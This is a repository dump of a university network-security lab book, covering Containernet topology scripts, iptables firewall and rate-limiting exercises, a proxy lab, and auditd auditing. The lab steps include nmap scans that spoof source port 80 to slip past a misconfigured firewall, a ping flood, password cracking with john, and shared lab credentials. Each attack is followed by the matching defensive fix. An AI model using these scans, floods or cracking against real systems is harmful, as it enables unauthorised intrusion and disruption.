229 | chuck1 = net.addDocker('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
230 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'], privileged=True,
231 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
232 | mac='00:00:00:00:00:03')
233 |
234 | info("*** Creating Links\n")
235 | net.addLink(s1, alice1)
236 | net.addLink(s1, bob1)
237 | net.addLink(s1, chuck1)
238 |
239 | info("*** Starting network\n")
240 | net.build()
241 | s1.start([])
242 |
243 | bob1.cmd("service ssh start")
244 | bob1.cmd("echo \'10.200.0.2 bob\' > /etc/hosts && service apache2 start")
245 | alice1.cmd("service ssh start")
246 | alice1.cmd("echo \'10.200.0.1 alice\' > /etc/hosts && service apache2 start")
247 |
248 | info("*** Running CLI\n")
249 | CLI(net)
250 |
251 | info("*** Stopping network\n")
252 | net.stop()
253 |
254 |
255 | if __name__ == '__main__':
256 | setLogLevel('info')
257 | topology()
258 | ```
259 |
260 | Alice and Bob each configure a routing rule so that packets addressed to one another pass through Chuck. To do this, execute:
261 |
262 | ```
263 | alice# ip route add 10.200.0.2 via 10.200.0.3 dev alice-eth0
264 | bob# ip route add 10.200.0.1 via 10.200.0.3 dev bob-eth0
265 | ```
266 |
267 | To act as a firewall, Chuck must disable ICMP redirect packet sending so that packets always pass through him, and also enable IP forwarding; otherwise, he will not be able to forward the received packets. This can be done with the following commands:
268 |
269 |
270 | ```
271 | chuck# echo 0 | tee /proc/sys/net/ipv4/conf/chuck-eth0/send_redirects
272 | chuck# echo 1 > /proc/sys/net/ipv4/ip_forward
273 | ```
274 |
275 | Now, verify that all hosts can communicate with each other, particularly ensuring that the traffic exchanged between Alice and Bob actually passes through Chuck. To do this, start Wireshark on Chuck and have Alice and Bob ping each other.
276 |
277 | ### Outgoing Traffic
278 |
279 | At this stage, Chuck will apply an authorization policy to allow Alice to browse any external web server. Alice will act as a client on the network, and Bob will act as an external web server.
280 |
281 | Bob starts the Apache2 and SSH services, while Chuck configures the following authorization policy on the packet filter:
282 |
283 | ```
284 | chuck# iptables -P FORWARD DROP
285 | chuck# iptables -A FORWARD -p tcp -s 10.200.0.1 --dport 80 -j ACCEPT
286 | chuck# iptables -A FORWARD -p tcp -d 10.200.0.1 --sport 80 -j ACCEPT
287 | ```
288 |
289 | With these commands, the default policy for the FORWARD chain is set to DROP, but two rules are added to allow forwarding of any packet from Alice's address destined for port 80 on another host, and any packet originating from source port 80 on a host and destined for Alice’s address. This means Alice can connect to the web server running on Bob (or any other web server), but she cannot connect to Bob’s SSH server (remember the password for user seg is seg):
290 |
291 | ```
292 | alice# ssh seg@10.200.0.2
293 | ```
294 |
295 | On the other hand, Bob can connect to both a web server and an SSH server running on Alice, as long as he uses port 80 as the source port. To demonstrate this, Bob runs:
296 |
297 | ```
298 | bob# nmap -sS -Pn -n -p 22,80 10.200.0.1
299 | ```
300 |
301 | In this case, both ports appear filtered because the firewall (Chuck) drops the packets, except those originating from source port 80 (verify this using Wireshark on Chuck and inspecting the packets).
302 |
303 | To exploit this, add an option to Nmap so the scan originates from port 80:
304 |
305 |
306 | ```
307 | bob# nmap -sS -Pn -n -p 22 10.200.0.1 --source-port 80
308 | ```
309 |
310 | This results in both ports being correctly identified as open.
311 |
312 | Now, to allow only Alice’s web connections to any external user (any IP address), Chuck should drop SYN packets directed to her with source port 80:
313 |
314 | ```
315 | chuck# iptables -I FORWARD -p tcp -d 10.200.0.1 --sport 80 --syn -j DROP
316 | ```
317 |
318 | This rule is inserted before the rule accepting all packets to Alice with source port 80; otherwise, it would match all SYN packets and accept them. Now, if Bob scans Alice again with Nmap from port 80, the ports will be filtered and detected correctly.
319 |
320 | ### Remote Service
321 |
322 | Now, Chuck applies an authorization policy to allow remote SSH access to Alice. Alice will act as the SSH server on the protected network, and Bob will be an authorized remote client connecting to Alice. Chuck runs:
323 |
324 | ```
325 | chuck# iptables -A FORWARD -p tcp -d 10.200.0.1 --dport 22 -j ACCEPT
326 | chuck# iptables -A FORWARD -p tcp -s 10.200.0.1 --sport 22 ! --syn -j ACCEPT
327 | ```
328 |
329 | The first rule accepts packets destined for Alice on port 22, while the second accepts traffic originating from Alice’s port 22, except SYN packets (! --syn).
330 |
331 | Verify that Alice cannot connect to Bob via SSH:
332 |
333 | ```
334 | alice# ssh seg@10.200.0.2
335 | ```
336 |
337 | Verify that Bob can connect to Alice via SSH:
338 |
339 | ```
340 | bob# ssh seg@10.200.0.1
341 | ```
342 |
343 |
344 | ### Statefull Packet Filter
345 |
346 |
347 | In this exercise, Chuck will act as a firewall between Alice and Bob. Specifically, he will be configured to function as a stateful packet filter. A stateful firewall monitors the state of network connections (such as TCP flows or UDP communication) and can maintain significant attributes of each connection in memory. These attributes are collectively known as the connection state and may include details such as the IP addresses and ports involved in the connection, as well as the sequence numbers of packets traversing the connection.
348 |
349 | Stateful inspection monitors incoming and outgoing packets over time, along with the connection state, and stores this data in dynamic state tables. These cumulative data are evaluated so that filtering decisions are not based solely on administrator-defined rules but also on the context built by previous connections and earlier packets belonging to the same connection.
350 |
351 |
352 | For this exercise, consider running the code provided below and open terminals for the hosts Alice, Bob, and Chuck, and, immediately after running the script below, follow the same configuration as in the previous exercise up to the “Outgoing Traffic” section.
353 |
354 | ```
355 | #!/usr/bin/python
356 |
357 | '''@author: Ramon Fontes
358 | @email: ramon.fontes@imd.ufrn.br'''
359 |
360 | import os
361 |
362 | from containernet.net import Containernet
363 | from containernet.cli import CLI
364 | from mininet.log import info, setLogLevel
365 |
366 |
367 | def topology():
368 | "Create a network."
369 | DISPLAY_ID = 0
370 | net = Containernet(ipBase='10.200.0.0/24')
371 |
372 | os.system('sudo xhost +local:docker')
373 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
374 |
375 | info("*** Creating nodes\n")
376 | s1 = net.addSwitch('s1', failMode="standalone")
377 | alice1 = net.addDocker('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
378 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'], privileged=True,
379 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
380 | mac='00:00:00:00:00:01')
381 | bob1 = net.addDocker('bob', dimage="ramonfontes/seguranca", cpu_shares=20,
382 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'], privileged=True,
383 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
384 | mac='00:00:00:00:00:02')
385 | chuck1 = net.addDocker('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
386 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'], privileged=True,
387 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
388 | mac='00:00:00:00:00:03')
389 |
390 | info("*** Creating Links\n")
391 | net.addLink(s1, alice1)
392 | net.addLink(s1, bob1)
393 | net.addLink(s1, chuck1)
394 |
395 | info("*** Starting network\n")
396 | net.build()
397 | s1.start([])
398 |
399 | alice1.cmd("service ssh start")
400 | alice1.cmd("echo \'10.200.0.1 alice\' > /etc/hosts && service apache2 start")
401 | bob1.cmd("echo \'10.200.0.2 bob\' > /etc/hosts")
402 |
403 | info("*** Running CLI\n")
404 | CLI(net)
405 |
406 | info("*** Stopping network\n")
407 | net.stop()
408 |
409 |
410 | if __name__ == '__main__':
411 | setLogLevel('info')
412 | topology()
413 | ```
414 |
415 | Bob then runs the following command:
416 |
417 | ```
418 | bob# nmap -sA -Pn -n -p 22,25 10.200.0.1 --source-port 80
419 | ```
420 |
421 | The -sA option performs a TCP ACK scan, which only detects whether the ports are filtered by the firewall. The result shows that both ports are not filtered, which is correct considering the filtering rule that allows return traffic for Alice. However, this poses a problem because it goes against the authorization policy (Alice should be able to contact external web servers, but not the other way around) and also because Bob could map the internal network, for example, using a TCP FIN scan.
422 |
423 | To fix this issue, first flush all rules in Chuck’s FORWARD chain:
424 |
425 | ```
426 | chuck# iptables -F FORWARD
427 | ```
428 |
429 | Then add the following rules:
430 |
431 | ```
432 | chuck# iptables -A FORWARD -p tcp -s 10.200.0.1 --dport 80 --syn -j ACCEPT
433 | chuck# iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
434 | ```
435 |
436 | The first rule allows forwarding of all TCP SYN packets originating from Alice and destined for port 80, while the second rule uses stateful inspection, accepting all packets belonging to an already established or related connection.The first rule allows forwarding of all TCP SYN packets originating from Alice and destined for port 80, while the second rule uses stateful inspection, accepting all packets belonging to an already established or related connection.
437 |
438 | The advantages of this solution are that no traffic is statically enabled for Alice, and traffic is dynamically permitted on demand for precise destinations (i.e., specific IP addresses).
439 |
440 | Finally, after enabling the Apache2 service on both hosts, verify that with these rules, Alice can connect to any external web server, while Bob cannot connect to Alice’s web server.
441 |
442 | Note: A firewall is a device used to monitor incoming and outgoing network traffic based on defined rules. It serves as a barrier between a private internal network and the public Internet. The basic function of a firewall is to allow essential traffic and block threats. However, a firewall does not “magically” detect and block harmful traffic—it must follow rules written by humans, which means errors are possible. One common error is allowing ALL external traffic on essential ports like 21 (FTP), 53 (DNS), 80 (HTTP), 443 (HTTPS), 8080 (alternative HTTP), etc. Initially, this may seem necessary, but the key issue is allowing ALL traffic. A correct firewall configuration would allow only RELATED and ESTABLISHED external traffic, meaning inbound traffic is permitted only if the connection was initiated from inside the network. Misconfigurations can be exploited using techniques such as source port manipulation (--source-port in Nmap).
443 |
444 | The advantages of this solution are that no traffic is statically enabled for Alice, and traffic is dynamically permitted on demand for precise destinations (i.e., specific IP addresses).
445 |
446 | Finally, after enabling the Apache2 service on both hosts, verify that with these rules, Alice can connect to any external web server, while Bob cannot connect to Alice’s web server.
447 |
448 | **Note**: A firewall is a device used to monitor incoming and outgoing network traffic based on defined rules. It serves as a barrier between a private internal network and the public Internet. The basic function of a firewall is to allow essential traffic and block threats. However, a firewall does not “magically” detect and block harmful traffic—it must follow rules written by humans, which means errors are possible. One common error is allowing ALL external traffic on essential ports like 21 (FTP), 53 (DNS), 80 (HTTP), 443 (HTTPS), 8080 (alternative HTTP), etc. Initially, this may seem necessary, but the key issue is allowing ALL traffic. A correct firewall configuration would allow only RELATED and ESTABLISHED external traffic, meaning inbound traffic is permitted only if the connection was initiated from inside the network. Misconfigurations can be exploited using techniques such as source port manipulation (--source-port in Nmap).
449 |
450 |
451 | ### Bandwidth Limitation
452 |
453 | Now Chuck flushes the current FORWARD rules again:
454 |
455 | ```
456 | chuck# iptables -F FORWARD
457 | ```
458 |
459 | and implements the following rules:
460 |
461 | ```
462 | chuck# iptables -A FORWARD -p icmp -s 10.200.0.1 --icmp-type echo-request -j ACCEPT
463 | chuck# iptables -A FORWARD -p icmp -d 10.200.0.1 --icmp-type echo-reply -j ACCEPT
464 | chuck# iptables -A FORWARD -p icmp -d 10.200.0.1 --icmp-type echo-request -j ACCEPT
465 | chuck# iptables -A FORWARD -p icmp -s 10.200.0.1 --icmp-type echo-reply -j ACCEPT
466 | ```
467 |
468 | Alice then runs the following command to check the system load average:
469 |
470 | ```
471 | alice# uptime
472 | ```
473 |
474 | The uptime command shows, in order, the current time, how long the system has been running, the number of users currently logged in, and the system load averages over the last 1, 5, and 15 minutes.
475 |
476 | Next, Alice starts Wireshark, and Bob runs:
477 |
478 | ```
479 | bob# ping 10.200.0.1 -w 10 -f
480 | ```
481 |
482 | In Wireshark, it is possible to see that Alice is flooded (the meaning of the -f option) with ping requests, to which she also responds. The -w flag limits the flooding to 10 seconds. This is necessary because indefinite execution in containers could crash the system.
483 |
484 | When flooded, Alice runs uptime again and observes whether her load average has increased significantly.
485 |
486 | To fix this vulnerability, Chuck first deletes the rule allowing echo-request packets destined for Alice:
487 |
488 | ```
489 | chuck# iptables -L --line-numbers
490 | chuck# iptables -D FORWARD
491 | ```
492 |
493 | Then he adds a new rule:
494 |
495 | ```
496 | chuck# iptables -A FORWARD -p icmp -d 10.200.0.1 --icmp-type echo-request -m limit --limit 20/minute --limit-burst 1 -j ACCEPT
497 | ```
498 |
499 | This rule allows a maximum of 20 echo requests per minute, distributed evenly (approximately one every 3 seconds). The advantage of this solution is that ICMP traffic is limited, preventing it from consuming excessive bandwidth. For example, it mitigates simple Denial of Service (DoS) attacks. If Bob attempts to flood Alice with pings again, Wireshark will show that the packets she receives are now severely limited.
500 |
501 |
502 | ## Proxy
503 |
504 | Proxy servers play a crucial role in facilitating communication between devices and the Internet. They act as intermediaries between a user and the destination server, intercepting requests and forwarding them on behalf of the user. This additional layer of abstraction provides significant benefits, such as enhanced privacy and security. By masking the user’s IP address, proxies make it more difficult to determine location and identity, offering anonymity while browsing. This functionality is particularly valuable for bypassing geographic restrictions and protecting sensitive information.
505 |
506 | Beyond privacy, proxy servers are often used to optimize network performance. Through local caching, they temporarily store frequently accessed resources, reducing the load on origin servers and accelerating load times. This approach is especially beneficial in enterprise environments, where bandwidth can be optimized and data transmission costs reduced. Therefore, proxy servers serve a multifaceted role, addressing both security concerns and efficiency in online communication.
507 |
508 | However, it is important to note that improper use of proxy servers can raise ethical and legal concerns. In some cases, they are used to circumvent restrictions imposed by corporate networks or for malicious activities, such as distributing malware. Responsible and ethical implementation of proxy servers is therefore crucial to ensure these tools are used in a beneficial and legal manner, providing a safer and more efficient Internet experience.
509 |
510 | The network topology for this lab resembles the network topology shown below.
511 |
512 | ```
513 | client1
514 | \
515 | --- s2 --- proxy1 --- s1 --- WAN
516 | /
517 | client2
518 | ```
519 |
520 | At this point, you should refer to the video provided by the instructor to reproduce the code below.
521 |
522 | ```
523 | #!/usr/bin/python
524 |
525 | '''@author: Ramon Fontes
526 | @email: ramon.fontes@imd.ufrn.br
527 | '''
528 |
529 | import os
530 |
531 | from containernet.net import Containernet
532 | from containernet.cli import CLI
533 | from mininet.log import info, setLogLevel
534 |
535 |
536 | def topology():
537 | "Create a network."
538 | DISPLAY_ID = 0
539 | net = Containernet(ipBase='10.201.0.0/24')
540 |
541 | os.system('sudo xhost +local:docker')
542 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
543 |
544 | info("*** Creating nodes\n")
545 | proxy1 = net.addDocker('proxy', dimage="ramonfontes/proxy", cpu_shares=20,
546 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
547 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
548 | mac='00:00:00:00:00:01', ip='10.200.0.100/24')
549 | client1 = net.addDocker('client1', dimage="ramonfontes/seguranca", cpu_shares=20,
550 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
551 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
552 | mac='00:00:00:00:00:02', ip='10.200.0.1/24')
553 | client2 = net.addDocker('client2', dimage="ramonfontes/seguranca", cpu_shares=20,
554 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
555 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
556 | mac='00:00:00:00:00:03', ip='10.200.0.2/24')
557 | s1 = net.addSwitch('s1', failMode='standalone')
558 | s2 = net.addSwitch('s2', failMode='standalone')
559 |
560 | info("*** Creating Links\n")
561 | net.addLink(client1, s2)
562 | net.addLink(client2, s2)
563 | net.addLink(proxy1, s2)
564 | net.addLink(proxy1, s1)
565 |
566 | info("*** Starting network\n")
567 | net.build()
568 | net.addNAT().configDefault()
569 | s1.start([])
570 | s2.start([])
571 |
572 | client1.cmd('route add default gw 10.200.0.100')
573 | client2.cmd('route add default gw 10.200.0.100')
574 | proxy1.cmd('ifconfig proxy-eth1 10.201.0.100/24')
575 | proxy1.cmd('route add default gw 10.201.0.4')
576 |
577 | proxy1.cmd('echo 1 > /proc/sys/net/ipv4/ip_forward')
578 | proxy1.cmd('iptables -t nat -A POSTROUTING -o proxy-eth1 -j SNAT --to-source 10.201.0.100')
579 | proxy1.cmd('iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080')
580 | proxy1.cmd('iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8443')
581 | proxy1.cmd("echo \'10.200.0.100 proxy\' > /etc/hosts && /etc/init.d/squid start")
582 | proxy1.cmd("/etc/init.d/apache2 start")
583 |
584 | info("*** Running CLI\n")
585 | CLI(net)
586 |
587 | info("*** Stopping network\n")
588 | net.stop()
589 |
590 |
591 | if __name__ == '__main__':
592 | setLogLevel('info')
593 | topology()
594 | ```
595 |
596 |
597 | ## References:
598 | - Gouda, Mohamed G., and Alex X. Liu. "A model of stateful firewalls and its properties." 2005 International Conference on Dependable Systems and Networks (DSN'05). IEEE, 2005.
599 | - Gouda, Mohamed G., and Alex X. Liu. "Structured firewall design." Computer networks 51.4 (2007): 1106-1120.
600 | - Luotonen, Ari. Web proxy servers. Prentice-Hall, Inc., 1998.
601 |
602 |
603 |
--------------------------------------------------------------------------------
/chapter1.md:
--------------------------------------------------------------------------------
1 |
2 | # Environment Preparation and Basic Concepts
3 |
4 |
5 | ## Preparing the Environment
6 |
7 | ### Introduction
8 | The exercises proposed in this section demonstrate that it is possible to carry out security attacks using freely available software and a basic understanding of networking and security. These types of attacks can be very harmful in certain contexts.
9 |
10 | ### Basic Requirements
11 |
12 | - **Ubuntu 22.04+**
13 | - **Containernet** — Follow the installation instructions at: https://github.com/ramonfontes/containernet#installation
14 |
15 | Pull the images listed below using the respective commands:
16 |
17 | ```bash
18 | $ sudo docker pull ramonfontes/seguranca
19 | $ sudo docker pull ramonfontes/openvas
20 | $ sudo docker pull ramonfontes/xss_attack
21 | $ sudo docker pull ramonfontes/vulnerable
22 | $ sudo docker pull ramonfontes/proxy
23 | $ sudo docker pull ramonfontes/rogue-ap
24 | ```
25 |
26 | The image `ramonfontes/seguranca` contains the following packages:
27 | iptables, nmap, hping3, apache2, dsniff, ettercap-text-only, arpon, curl, sudo, nano, firefox, telnet, openssh-server, ethtool, iproute2, iputils-ping, net-tools, wireshark, tcpdump, aircrack-ng, iperf, gnupg, pciutils, wpasupplicant, snort, metasploit-framework, python3-scapy, netcat, busybox, sshuttle.
28 |
29 | ### Tips
30 |
31 | - To customize the appearance of xterm, add the following lines to ~/.Xresources:
32 |
33 | ```
34 | xterm*faceName: fixed
35 | xterm*faceSize: 18
36 | ```
37 |
38 | Then load the new settings with:
39 |
40 | ```
41 | xrdb -merge ~/.Xresources
42 | ```
43 |
44 | - You may need to set the Python variable DISPLAY_ID to 0 in each Python script to correctly run GUI‑dependent programs (for example, Wireshark or Firefox).
45 |
46 |
47 | For exercises that require authentication, consider both the username and the password to be the same word found in /john/run/passwd.txt. To find the username and password, run the command below from a container of the `ramonfontes/seguranca` image:
48 |
49 | ````commandline
50 | ./john passwd.txt --format=raw-sha1
51 | ````
52 |
53 | The version of Containernet available in the repository above is compatible with Mininet-WiFi (https://github.com/intrig-unicamp/mininet-wifi), the WiFi network emulator developed by your professor. If you want to learn more about Mininet-WiFi, you can access the virtual book at https://github.com/ramonfontes/mn-wifi-ebook or obtain a printed copy at mininet-wifi.github.io/book. Alternatively, for a quick overview of the Mininet-WiFi emulator, you may want to watch the video available at: https://www.youtube.com/watch?v=2SdRbGOYnlU.
54 |
55 | ### Troubleshooting
56 |
57 | This section is intended to point out common issues and how to fix them. It will be populated as problems are encountered.
58 |
59 | - *Problem*: The xterm command issued from the Containernet console produces no output.
60 | - *Possible fix*: You may need to set the DISPLAY environment variable to 0 ou 1 in the codes available in this document.
61 |
62 |
63 | - *Problem*: When accessing via SSH, you get the following error: X11 connection rejected because of wrong authentication
64 | - *Possible fix*: Running the following command may resolve this issue: `sudo xauth merge ~/.Xauthority`
65 |
66 |
67 | ### System Auditing
68 |
69 | One of the keys to protecting a system is knowing what’s happening inside it — which files are being modified, who is accessing what and when, and which applications are being executed. Incrond used to be one of the most popular auditing tools for Linux systems a few years ago. Nowadays, however, your best option for monitoring all system activities is likely auditd.
70 |
71 | One major advantage of auditd is that it performs its checks at the kernel level, below user space, which makes it much harder to tamper with or bypass. This provides a significant edge over shell-based auditing systems, which can’t be fully trusted if the system has already been compromised before they start running.
72 |
73 | Auditd is actively developed by Red Hat and is available for most, if not all, major Linux distributions. If it’s not yet installed on your system, you can easily find it in your distribution’s repositories.
74 |
75 | The auditd suite consists of several components, but for our purposes, the main ones are:
76 |
77 | - auditd, the daemon responsible for monitoring system activity; and
78 | - aureport, a tool that generates detailed reports from auditd logs.
79 |
80 | #### Installation
81 |
82 | Install the auditd package using your distribution’s package manager, then verify that it’s running. Most modern Linux distributions run auditd as a systemd service, so you can check its status with:
83 |
84 | ```commandline
85 | systemctl status auditd.service
86 | ```
87 |
88 | If it’s installed but not running, start it with:
89 |
90 | ```commandline
91 | systemctl start auditd.service
92 | ```
93 |
94 | To enable it to run automatically at system startup, use:
95 | ```commandline
96 | systemctl enable auditd.service
97 | ```
98 |
99 | *Note*: Before checking any reports, let auditd run for a while so it can populate its logs with meaningful events.
100 |
101 | ```
102 | sudo aureport
103 |
104 | Summary Report
105 | ======================
106 | Range of time in logs: 20/11/2023 21:39:28.208 - 21/11/2023 09:32:18.241
107 | Selected time for report: 20/11/2023 21:39:28 - 21/11/2023 09:32:18.241
108 | Number of changes in configuration: 98
109 | Number of changes to accounts, groups, or roles: 0
110 | Number of logins: 0
111 | Number of failed logins: 0
112 | Number of authentications: 8
113 | Number of failed authentications: 0
114 | Number of users: 5
115 | Number of terminals: 10
116 | Number of host names: 2
117 | Number of executables: 23
118 | Number of commands: 22
119 | Number of files: 102
120 | Number of AVC's: 0
121 | Number of MAC events: 0
122 | Number of failed syscalls: 32
123 | Number of anomaly events: 9
124 | Number of responses to anomaly events: 0
125 | Number of crypto events: 0
126 | Number of integrity events: 0
127 | Number of virt events: 0
128 | Number of keys: 2
129 | Number of process IDs: 180
130 | Number of events: 1648
131 | ```
132 |
133 | That’s already interesting! Take a look at the line that says “Number of failed authentications: 0.”
134 | If you ever see a high number here, it could indicate that someone is trying to break into your system by brute-forcing a user’s password.
135 |
136 | Let’s dig a little deeper:
137 |
138 | ```
139 | sudo aureport -au
140 |
141 | Authentication Report
142 | ============================================
143 | # date time acct host term exe success event
144 | ============================================
145 | 1. 21/11/2023 07:51:04 gdm alpha-Inspiron-5480 /dev/tty1 /usr/libexec/gdm-session-worker yes 150
146 | 2. 21/11/2023 07:51:20 alpha alpha-Inspiron-5480 /dev/tty1 /usr/libexec/gdm-session-worker yes 206
147 | 3. 21/11/2023 07:51:36 mysql ? ? /usr/bin/su yes 321
148 | 4. 21/11/2023 07:56:03 nobody ? ? /usr/bin/su yes 366
149 | 5. 21/11/2023 07:56:04 nobody ? ? /usr/bin/su yes 378
150 | 6. 21/11/2023 07:56:04 nobody ? ? /usr/bin/su yes 384
151 | 7. 21/11/2023 09:01:35 alpha ? /dev/pts/0 /usr/bin/sudo yes 498
152 | 8. 21/11/2023 09:29:05 alpha ? /dev/pts/0 /usr/bin/sudo yes 587
153 | ```
154 |
155 | The -au option lets you view detailed information about authentication attempts.
156 | When you run aureport -au, it displays timestamps, the user account being accessed, and whether each authentication attempt was successful.
157 |
158 | #### Customizing Monitoring Rules
159 |
160 | To send your rules to auditd immediately, you use the auditctl command.
161 | But before adding any custom rules of your own, it’s a good idea to check whether any default rules are already in place.
162 |
163 |
164 | ```
165 | auditctl -l
166 | No rules
167 | ```
168 |
169 | The -l option lists all currently active rules.
170 |
171 | A common use case for auditd is to monitor specific files or directories for changes or access.
172 | For example, as a regular user, create a new directory inside your /home directory as shown below:
173 |
174 | ```
175 | mkdir test_dir
176 | ```
177 |
178 | Now, set up a watch on the directory you just created.
179 |
180 | ```commandline
181 | auditctl -w /home/[user]/test_dir/ -k test_watch
182 | ```
183 |
184 | The -w option tells auditd to watch the directory test_dir/ for any changes.
185 | The -k option attaches the string test_watch (known as a key) to any log entries generated by that rule.
186 | You can choose any key name you like, but it’s best to make it descriptive and easy to remember, since you’ll use it later to filter out unrelated log entries when reviewing auditd logs.
187 |
188 | Now, perform some actions inside test_dir/ — for example:
189 |
190 | - Create a few subdirectories,
191 | - Create or copy some files,
192 | - Delete a few files, or
193 | - List the directory contents.
194 |
195 | When you’re done, check what auditd recorded with:
196 |
197 | ```commandline
198 | sudo ausearch -k test_watch
199 | ```
200 |
201 | Notice the use of -k test_watch — even if you have a dozen different rules logging various activities, the key string lets you tell ausearch to display only the events you’re interested in.
202 |
203 | Even with this filter, the amount of information ausearch outputs can be quite overwhelming. However, you’ll also notice that the data is highly structured.
204 | Each event consists of multiple records, and each record contains keyword/value pairs separated by an equals sign (=).
205 | Some values are plain strings, while others are lists enclosed in parentheses.
206 |
207 | You can look up the meaning of each field in the official manual, but the key takeaway is that this structured format makes the output easy to parse with scripts or tools.
208 | In fact, aureport does an excellent job of turning this data into clear, organized summaries.
209 |
210 | To demonstrate, let’s pipe the ausearch output into aureport:
211 |
212 | ```
213 | sudo ausearch -k test_watch | aureport -f -i
214 | ```
215 |
216 | It’s starting to make sense now! You can clearly see who is doing what, with which file, and when.
217 |
218 | When you’re done and no longer need that watch, you can remove it using the command below:
219 |
220 | ```commandline
221 | auditctl -W /home/[user]/test_dir/ -k test_watch
222 | ```
223 |
224 | #### One File at a Time
225 |
226 | Monitoring entire directories can generate a huge amount of log data. Sometimes it’s more practical to monitor only a few strategic files to ensure no one is tampering with them.
227 | A classic example is:
228 |
229 | ```commandline
230 | sudo auditctl -w /etc/passwd -p wa -k passwd_watch
231 | ```
232 |
233 | This rule ensures that no unauthorized changes are made to your /etc/passwd file.
234 |
235 | The -p parameter tells auditd which permissions or actions to watch for. The available options are:
236 |
237 | - r — monitor read access to a file or directory
238 | - w — monitor write access (content changes)
239 | - x — monitor execution
240 | - a — monitor attribute changes (permissions, ownership, etc.)
241 |
242 | Because there are legitimate reasons for applications to read /etc/passwd, you typically don’t monitor read operations to avoid false positives. Likewise, it doesn’t make sense to monitor execution on a non-executable file.
243 | That’s why the example above watches only for writes and attribute changes.
244 |
245 | If you don’t specify which permissions to monitor, auditd assumes you want to track all of them.
246 | That’s why, when monitoring the earlier test_dir/ directory, even a simple ls command triggered audit events.
247 |
248 |
249 | #### Persistent Rules
250 |
251 | To make your audit rules persistent (so they survive reboots), you can either:
252 |
253 | - Add them directly to /etc/audit/audit.rules, or
254 | - Create a new rules file inside /etc/audit/rules.d/.
255 |
256 | If you’ve been experimenting with rules using auditctl and are satisfied with your setup, you can dump your current configuration into a file with:
257 |
258 | ```
259 | echo "-D" > /etc/audit/rules.d/my.rules
260 | auditctl -l >> /etc/audit/rules.d/my.rules
261 | ```
262 |
263 | This will save your active rules into a file called my.rules, saving you from retyping everything manually.
264 | If you followed this tutorial and used the sample rules above, your my.rules file would look like this:
265 |
266 | ```
267 | -D
268 | -w /home/[your_user]/test_dir/ -k test_watch
269 | -w /etc/passwd -p wa -k passwd_watch
270 | ```
271 |
272 | To avoid conflicts with pre-existing rule files, back them up first:
273 |
274 | ```commandline
275 | mv /etc/audit/audit.rules /etc/audit/audit.rules.bak
276 | mv /etc/audit/rules.d/audit.rules /etc/audit/rules.d/audit.rules.bak
277 | ```
278 |
279 | Then restart the daemon so auditd immediately loads your new configuration:
280 |
281 | ```
282 | sudo systemctl restart auditd.service
283 | ```
284 |
285 | Now, every time your system boots, auditd will automatically start monitoring everything you’ve configured.
286 |
287 |
288 |
289 | ## Communication Security
290 |
291 | Communication security is essential for protecting data in transit against interception, tampering, and unauthorized access. In both corporate and personal networks, even seemingly simple information can be targeted if it is not transmitted securely.
292 |
293 | The purpose of this section is to explore and practice the configuration and use of essential tools and protocols for communication security, including:
294 |
295 | - VPN (Virtual Private Network): Creates a secure tunnel over public networks, ensuring data confidentiality and integrity.
296 | - SSH (Secure Shell): Provides secure remote access to systems using end-to-end encryption.
297 | - IPSec (Internet Protocol Security): Protects IP packets through authentication and encryption, widely used in virtual private networks and secure communications between devices.
298 |
299 | By understanding and applying these elements, it is possible to ensure that information travels securely, even in potentially vulnerable environments.
300 |
301 |
302 | ### VPN
303 |
304 | A VPN, or Virtual Private Network, is a technology that enables the establishment of a secure, encrypted connection between a device and a private network, typically over the Internet. This is achieved by routing Internet traffic through VPN servers, thereby hiding the device’s real IP address and protecting data from interception by third parties. VPNs are often used to enhance online security and privacy, allowing users to browse anonymously and access geographically restricted content, such as streaming services, by simulating a connection from a different location. Additionally, VPNs are valuable for businesses that wish to securely extend their internal networks to remote employees, protecting sensitive data during transmission over the Internet.
305 |
306 | The network topology for this exercise resembles the diagram below. In this scenario, consider that the client is located at home, while R1 is the company’s router that bridges the Internet and the company’s local network.
307 |
308 |
309 | ```
310 |
311 | srv1
312 | (10.200.0.2)
313 | /
314 | /
315 | client (10.201.0.1) - s1 - (10.201.0.100) r1 (10.200.0.100) - s2 - vpn (10.200.0.1)
316 | \
317 | \
318 | (10.200.0.3)
319 | srv2
320 | ```
321 |
322 | Read and analyze the code below to understand how the network topology illustrated above was constructed.
323 |
324 | ```commandline
325 | #!/usr/bin/python
326 |
327 | '''@author: Ramon Fontes
328 | @email: ramon.fontes@imd.ufrn.br
329 | '''
330 |
331 | import os
332 |
333 | from containernet.net import Containernet
334 | from containernet.cli import CLI
335 | from mininet.log import info, setLogLevel
336 |
337 |
338 | def topology():
339 | "Create a network."
340 | DISPLAY_ID = 0
341 | net = Containernet(ipBase='10.200.0.0/24')
342 |
343 | os.system('sudo xhost +local:docker')
344 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
345 |
346 | info("*** Creating nodes\n")
347 | vpn1 = net.addDocker('vpn', dimage="ramonfontes/vpn", cpu_shares=20,
348 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
349 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
350 | mac='00:00:00:00:00:01')
351 | srv1 = net.addDocker('srv1', dimage="ramonfontes/seguranca", cpu_shares=20,
352 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
